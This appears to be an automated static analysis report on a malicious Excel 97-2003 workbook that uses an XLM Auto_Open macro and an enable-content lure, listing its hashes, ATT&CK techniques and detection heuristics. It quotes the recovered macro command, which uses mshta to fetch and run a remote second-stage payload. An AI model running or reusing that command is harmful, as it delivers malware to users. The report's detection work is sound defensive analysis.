Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 695e27ddf3ae3c7e…

MALICIOUS

Office (OLE) / .XLS

65.0 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 4e504831cca9bc1d8565f9dc999d49a7 SHA-1: 77d9283aef51034a13d0a8b4be3370da695755cc SHA-256: 695e27ddf3ae3c7e7a80d57179f08b9a539f1e6d08f01ef4111bcbfea878dee8
100 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is an Excel 97-2003 Workbook (XLM) that contains an Auto_Open macro. The macro is obfuscated but reconstructs to the command 'cmd /c mshta http://0xc12a24f5/c.html', which downloads and executes a second-stage payload from the specified URL. The document body also contains a lure to enable content, which is a common tactic for macro-based malware.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes

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